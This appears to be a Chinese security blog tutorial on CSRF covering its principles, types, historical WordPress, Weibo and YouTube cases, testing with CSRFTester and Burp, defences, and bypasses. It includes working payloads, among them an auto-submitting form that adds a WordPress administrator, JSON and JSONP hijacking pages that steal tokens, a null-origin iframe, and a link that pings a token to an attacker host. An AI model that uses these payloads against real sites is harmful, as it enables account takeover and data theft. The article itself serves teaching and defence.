vlambda博客
学习文章列表

文库 | CSRF知识总结

高质量的安全文章,安全offer面试经验分享

尽在 # 掌控安全EDU #



一.CSRF基础知识

csrf漏洞简介


CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,

在第三方网站中,向被攻击网站发送跨站请求。

利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的

csrf与xss区别


XSS:跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。

它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。

这类攻击通常包含了HTML以及客户端脚本语言(最常见如:JavaScript)

XSS更偏向于方法论,CSRF更偏向于一种形式,只要是伪造用户发起的请求,都可成为CSRF攻击。

通常来说CSRF是由XSS实现的

所以CSRF时常也被称为XSRF[用XSS的方式实现伪造请求](但实现的方式绝不止一种,还可以直接通过命令行模式(命令行敲命令来发起请求)直接伪造请求[只要通过合法验证即可])。

XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了

CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了

csrf漏洞原理


上图中网站 A为存在CSRF漏洞的网站,网站B为攻击者构建的恶意网站,User 为网站A网站的合法用户。

CSRF攻击攻击原理及过程如下:

 
   
   
 
  1. 1.用户user打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A


  2. 2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A


  3. 3.用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B


  4. 4.网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A


  5. 5.浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户CCookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

二.CSRF分类

Get型


这种类型的CSRF一般是由于程序员安全意识不强造成的。

GET类型的CSRF利用非常简单,只需要一个HTTP请求,所以,一般会这样利用:

<img src=http://example.cn/csrf.php?xx=11 />

在访问含有这个img的页面后,浏览器会自动向http://example.cn/csrf.php?xx=11发出一次HTTP请求。

example.cn就会收到包含受害者登录信息的一次跨域请求。


Post型


这种类型的CSRF危害没有GET型的大,利用起来通常使用的是一个自动提交的表单,如:

 
   
   
 
  1. <formaction=http://example.cn/csrf.phpmethod=POST>

  2. <inputtype="text"name="xx"value="11"/>

  3. </form>

  4. <script> document.forms[0].submit();</script>

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。

POST类型的攻击通常比GET要求更加严格一点,但仍并不复杂。

任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许POST上面。


链接类型


链接类型的CSRF并不常见,比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。

这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:

 
   
   
 
  1. <ahref=" http://example.cn/csrf.php?xx=11"taget="_hacker">

  2. 百万福利,点击就送!!

  3. <a/>

由于之前用户登录了信任的网站A,并且保存登录状态,只要用户主动访问上面的这个PHP页面,则表示攻击成功。


三.CSRF特点以及危害

csrf特点


1、攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。

2、攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。

3、跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。

部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。

4、CSRF通常是跨域的,因为外域通常更容易被攻击者掌控。

但是如果本域下有容易被利用的功能,比如可以发图和链接的论坛和评论区,攻击可以直接在本域下进行,而且这种攻击更加危险。

csrf危害


CSRF攻击会根据场景的不同而危害迥异,比较常见的有:

 
   
   
 
  1. 发送邮件

  2. 修改账户信息

  3. 资金转账

  4. 盗取用户隐私数据

  5. 网站被上传网马

  6. 作为其他攻击方式的辅助攻击(比如xss

  7. 传播CSRF蠕虫(见下文中的YouTube CSRF漏洞)

  8. 等等

四.CSRF实例

WordPress的CSRF漏洞


2012年3月份,WordPress发现了一个CSRF漏洞,影响了WordPress 3.3.1版本,

WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。

那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,

然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,

其会触发表单的提交工作,添加某个具有管理员权限的用户,实现的代码如下:

 
   
   
 
  1. <html>

  2. <bodyonload="javascript:document.forms[0].submit()">

  3. <H2>CSRF Exploit to add Administrator</H2>

  4. <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php">

  5. <inputtype="hidden"name="action"value="createuser"/>

  6. <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/>

  7. <inputtype="hidden"name="_wp_http_referer"value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/>

  8. <inputtype="hidden"name="user_login"value="admin2"/>

  9. <inputtype="hidden"name="email"value="[email protected]"/>

  10. <inputtype="hidden"name="first_name"value="[email protected]"/>

  11. <inputtype="hidden"name="last_name"value=""/>

  12. <inputtype="hidden"name="url"value=""/>

  13. <inputtype="hidden"name="pass1"value="password"/>

  14. <inputtype="hidden"name="pass2"value="password"/>

  15. <inputtype="hidden"name="role"value="administrator"/>

  16. <inputtype="hidden"name="createuser"value="Add+New+User+"/>

  17. </form>

  18. </body>

  19. </html>


新浪微博CSRF点链接关注


新浪微博 2015年出现的csrf漏洞可以不经过用户同意点击链接获得关注,漏洞产生在点击分享榜单的时候,会先发送一个请求关注“微博电影板”,不需要经过用户同意。

这个接口了防范CSRF,但是是通过判断referer来实现的,因此可以被绕过。

只要是以movie.weibo.com.开头的任意子域名都可以绕过。

页面内容:

 
   
   
 
  1. <formaction="http://movie.weibo.com/movie/web/follow"method="post">

  2. <inputtype="text"name="uid"value="5787593657"/>

  3. <script> document.forms[0].submit();</script>

  4. </form>


YouTube的CSRF漏洞


2008年,有安全研究人员发现,YouTube上几乎所有用户可以操作的动作都存在CSRF漏洞。

如果攻击者已经将视频添加到用户的“Favorites”

那么他就能将他自己添加到用户的“Friend”或者“Family”列表,

以用户的身份发送任意的消息,将视频标记为不宜的,自动通过用户的联系人来共享一个视频。

例如,要把视频添加到用户的“Favorites”,攻击者只需在任何站点上嵌入如下所示的IMG标签:

 
   
   
 
  1. <imgsrc="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_

  2. id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>

攻击者也许已经利用了该漏洞来提高视频的流行度。

例如,将一个视频添加到足够多用户的“Favorites”,YouTube就会把该视频作为“Top Favorites”来显示。

除提高一个视频的流行度之外,攻击者还可以导致用户在毫不知情的情况下将一个视频标记为“不宜的”,从而导致YouTube删除该视频。

这些攻击还可能已被用于侵犯用户隐私。

YouTube允许用户只让朋友或亲属观看某些视频。

这些攻击会导致攻击者将其添加为一个用户的“Friend”或“Family”列表,

这样他们就能够访问所有原本只限于好友和亲属表中的用户观看的私人的视频。

攻击者还可以通过用户的所有联系人名单(“Friends”、“Family”等等)来共享一个视频,“共享”就意味着发送一个视频的链接给他们,当然还可以选择附加消息。

这条消息中的链接已经并不是真正意义上的视频链接,

而是一个具有攻击性的网站链接,用户很有可能会点击这个链接,

这便使得该种攻击能够进行病毒式的传播。


五.CSRF探测

CSRFTester-1.0

CSRFTester是一款CSRF漏洞的测试工具,和burp suite一样,需要安装java环境。

他的工作原理是,使用代理抓取我们在浏览器中访问过的所有的链接及表单信息,

通过CSRFTester修改相应表单信息,重新提交,相当于伪造了一次客户端请求,

如果测试的请求成功,被服务器接受,则证明存在CSRF漏洞

1、设置浏览器代理

CSRFTester默认使用Localhost上的端口8008作为其代理(双击dist中的bat文件即可运行),

如果代理配置成功,CSRFTester将为您的浏览器生成的所有后续HTTP请求生成调试消息。


2、使用合法账户访问网站开始测试

我们需要找到一个我们想要为CSRF测试的特定业务Web页面。

找到此页面后,选择CSRFTester中的“start recoding”按钮并执行业务功能;

完成后,点击CSRFTester中的“stop recoding”按钮;

正常情况下,该软件会全部遍历一遍当前页面的所有请求。


3、通过CSRF修改并伪造请求

之后,我们会发现软件上有一系列跑出来的记录请求,这些都是我们的浏览器在执行业务功能时生成的所有GET或者POST请求。

通过选择列表中的某一行,我们现在可以修改用于执行业务功能的参数,可以通过点击对应的请求修改query和form的参数。

当修改完所有我们希望诱导用户form最终的提交值,可以选择开始生成HTML报告。


Burp测试csrf


Burp验证csrf的原理和CSRFTester类似,同样是通过抓取数据包,修改相应表单信息,重新提交,伪造客户端请求,请求成功则说明存在csrf漏洞

1、 配置浏览器代理。Burp的默认代理是127.0.0.1:8080

2、 抓取有可能存在csrf的页面,右击选中的链接,选择Engagement tools—->Generate CSRF POC选项

3、 在弹出的CSRF Poc generater页面,点击”Test in browser—>Copy”,复制生成的URL,打开刚才访问过目标网站的浏览器(注意不能关闭原来登录网站的页面,此时也不能关闭代理),新建一个页面,粘贴刚才复制的URL,访问.

若可信任服务器正常响应这个请求,说明漏洞利用成功。


六.CSRF防御

同源检测

使用Origin Header确定来源域名

在部分与CSRF有关的请求中,请求的Header中会携带Origin字段。字段内包含请求的域名(不包含path及query)。

如果Origin存在,那么直接使用Origin中的字段确认来源域名就可以(302重定向的请求中不存在)

使用Referer Header确定来源域名

因此我们使用Referer中链接的Origin部分可以得知请求的来源域名。

这种方法并非万无一失,Referer的值是由浏览器提供的,虽然HTTP协议上有明确的要求,但是每个浏览器对于Referer的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。

使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不是很安全。

在部分情况下,攻击者可以隐藏,甚至修改自己请求的Referer。

无法确定来源域名的情况,大多情况可以选择直接阻止。

总的来说,同源验证是一个相对简单的防范方法,能够防范绝大多数的CSRF攻击。

但这并不是万无一失的,对于安全性要求较高,或者有较多用户输入内容的网站,我们就要对关键的接口做额外的防护措施。


CSRF Token


CSRF的一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。

而CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。

那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。

服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击。

Token是一个比较有效的CSRF防护方法,只要页面没有XSS漏洞泄露Token,那么接口的CSRF攻击就无法成功。

但是此方法的实现比较复杂,需要给每一个页面都写入Token(前端无法使用纯静态页面),每一个Form及Ajax请求都携带这个Token,后端对每一个接口都进行校验,并保证页面Token及请求Token一致。

这就使得这个防护策略不能在通用的拦截上统一拦截处理,而需要每一个页面和接口都添加对应的输出和校验。

这种方法工作量巨大,且有可能遗漏

验证码和密码其实也可以起到CSRF Token的作用哦,而且更安全

双重Cookie验证


在会话中存储CSRF Token比较繁琐,而且不能在通用的拦截上统一处理所有的接口。

那么另一种防御措施是使用双重提交Cookie。

利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值。

双重Cookie采用以下流程:

在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如csrfcookie=v8g9e4ksfhw)。

在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(例如 https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)

后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。

此方法相对于CSRF Token就简单了许多。可以直接通过前后端拦截的的方法自动化实现。

后端校验也更加方便,只需进行请求中字段的对比,而不需要再进行查询和存储Token。

但是却没有大规模应用,因为它在大型网站上的安全性还是没有CSRF Token高,

这个是由于任何跨域都会导致前端无法获取Cookie中的字段(包括子域名之间),而且如果有其他漏洞(例如XSS),攻击者可以注入Cookie,那么该防御方式失效。

七.CSRF利用POC

fetch

fetch是一种HTTP数据请求的方式,是XMLHttpRequest的一种替代方案。


假如遇到POST为JSON格式的CSRF,并且验证了Content-Type是否是application / json,通过使用fetch能构造出JSON请求,并且能设置Content-Type,达到json劫持的目的。缺点无法跨域。

获取发起者的请求代码:

 
   
   
 
  1. <html>

  2. <title>JSON CSRF POC</title>

  3. <script>

  4. fetch('http://target.com/vul.page',{method:'POST', credentials:'include', headers:{'Content-Type':'text/plain'}, body:'{"name":"attacker","email":"attacker.com"}'});

  5. </script>

  6. </html>

ajax

Ajax是一种异步请求数据的web开发技术,经常被用来在不刷新页面的情况下,提交和请求数据。

请求poc:

 
   
   
 
  1. <html>

  2. <title> Ajax CSRF POC</title>

  3. <script>

  4. $.ajax({

  5. url:"http://target.com/vul.page",

  6. type:"POST",

  7. headers:{"X-CSRFtoken":$.cookie("csrftoken")},

  8. data:'{"name":"attacker","email":"attacker.com"}',

  9. success:functon(res){},

  10. error:function(err){}

  11. });

  12. </script>

  13. </html>

jQuery

jQuery其实就是封装了js的一些库 而它发起http请求的方式就是ajax,因此写法参照上文

jsonp

Jsonp(JSON with Padding) 是 json 的一种”使用模式”,可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

JSONP的语法和JSON很像,简单来说就是在JSON外部用一个函数包裹着。JSONP基本语法如下:

callback({ "name": "kwan" , "msg": "获取成功" });

JSONP原理就是动态插入带有跨域url的<script>标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。

常见的jsonp形式类似:http://www.test.com/index.html?jsonpcallback=hehe

传过去的hehe就是函数名,服务端返回的是一个函数调用,可以理解为:evil就是一个函数,([“customername1”,”customername2”])就是函数参数,网站前端只需要再编写代码处理函数返回的值即可。

jsonp劫持属于 CSRF 攻击,当某网站通过 JSONP 的方式来跨域传递用户认证后的敏感信息时

攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者点击访问来截取用户敏感信息,一个典型的 JSON HiJacking 攻击代码:

 
   
   
 
  1. # www.hacker.com/hacker.html

  2. <script>

  3. function hehe(v){

  4. alert(v.username);

  5. }

  6. </script>

  7. <script src="http://abc.com/?m=info&func=hehe"></script>

当用户在已经登录 abc 网站的情况下访问如上 www.hacker.com/hack 网页,那么用户的隐私数据就可能被攻击者劫持。

JSONP绕过token防护进行csrf攻击

假设有个场景是这样:

服务端判断接收到的请求包,如果含有htmlcallback参数就返回JSONP格式的数据,否则返回正常页面。

代码如下:

 
   
   
 
  1. <!-- callback.php -->


  2. <?php

  3. header('Content-type: application/json');

  4. //json数据

  5. $json_data ='{"customername1":"user1","password":"12345678"}';

  6. if(isset($_GET["htmlcallback"])){

  7. $callback = $_GET["htmlcallback"];

  8. //如果含有htmlcallback参数,输出jsonp格式的数据

  9. echo $htmlcallback ."(". $json_data .")";

  10. }else{

  11. echo $json_data;

  12. }

  13. ?>

对于场景,如果存在JSONP劫持劫持,我们就可以获取到页面中的内容,提取出csrf_token,然后提交表单,造成csrf漏洞。

示例利用代码如下:

 
   
   
 
  1. <html>

  2. <head>

  3. <title>test</title>

  4. <metacharset="utf-8">

  5. </head>

  6. <body>

  7. <divid="test"></div>

  8. <scripttype="text/javascript">

  9. function test(obj){

  10. // 获取对象中的属性值

  11. var content = obj['html']

  12. // 正则匹配出参数值

  13. var token=content.match('token = "(.*?)"')[1];

  14. // 添加表单节点

  15. var parent=document.getElementById("test");

  16. var child=document.createElement("form");

  17. child.method="POST";

  18. child.action="http://vuln.com/del.html";

  19. child.id="test1"

  20. parent.appendChild(child);

  21. var parent_1=document.getElementById("test1");

  22. var child_1=document.createElement("input");

  23. child_1.type="hidden";child_1.name="token";child_1.value=token;

  24. var child_2=document.createElement("input");

  25. child_2.type="submit";

  26. parent_1.appendChild(child_1);

  27. parent_1.appendChild(child_2);

  28. }

  29. </script>

  30. <scripttype="text/javascript"src="http://vuln.com/caozuo.html?htmlcallback=test"></script>

  31. </body>

  32. </html>

htmlcallback返回一个对象obj,以该对象作为参数传入test函数,操作对象中属性名为html的值,正则匹配出token,再加入表单,自动提交表单完成操作,用户点击该攻击页面即收到csrf攻击。

不过通过这个方法绕过token存在几个限制:

1、存在jsonp劫持

2、能在源码中找到token 

3、没有referer防护

八.CSRF绕过

绕过Origin、Referer

Null值绕过

当遇到一个cors可用null值绕过时,用iframe配合data协议,就可以发送一个origin为null的请求。这个绕过方式同样也可以用在CSRF这里。

 
   
   
 
  1. <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html, <script>var req=newXMLHttpRequest();req.onload=reqListener;req.open("get","http://127.0.0.1/test.html",true);req.withCredentials=true;req.send();function reqListener(){alert(this.responseText)};</script>'>

  2. </iframe>

域名校验绕过

当域名校验不是特别严格时,可以通过以下几种方式进行绕过:

在后面加域名 qq.com => qq.com.abc.com

将域名拼接 abc.qq.com => abc_qq.com

在前面或者在后面加字符 qq.com => abcqq.com / qq.com => qq.comabc.com / qq.com => abc.com/qq.com

配合XSS进行利用

当同源网站中存在一个xss漏洞时,就可以直接使用xss包含CSRF的payload进行利用。

不仅可以绕过简单的Referer和Origin验证,还可以劫持表单与URL中的token进行利用

获取表单中的token

当token存在于表单中时,可以配合XSS漏洞进行表单劫持进而让token的限制。

xss劫持页面中某个表单的提交

像这个就可以劫持user-edit,即用户提交的表单,点击即可重新提交form表单,以此获取用户提交的表单数据。

 
   
   
 
  1. <inputtype="submit"form="user-edit"value="提交">

就相当于劫持了user-edit表单然后进行提交

xss劫持页面表单并修改value

 
   
   
 
  1. <inputtype="text"form="user-edit"value="This is a test">

  2. <inputtype="submit"form="user-edit"value="提交">

这个是劫持user-edit表单,并且覆盖各表单的value,结合CSRF利用。

获取url参数中的token

 
   
   
 
  1. <ahref="https://hack.com">get_token</a>

  2. <ahref="https://target.com/"ping="https://hack.com ">trackping</a>

配合URL跳转漏洞

如果是GET形式的CSRF,配合URL跳转漏洞,即可绕过Origin和Referer的限制。

绕过X-Request-with(X-Request-with用于区分ajax请求还是普通请求)

Token Bypass

删除Token参数字段

将Token参数值置空

这种方法适用于token本身存在漏洞。




回顾往期内容

文库 | CSRF知识总结


扫码白嫖视频+工具+进群+靶场等资料


 


 扫码白嫖


 还有免费的配套靶场交流群哦!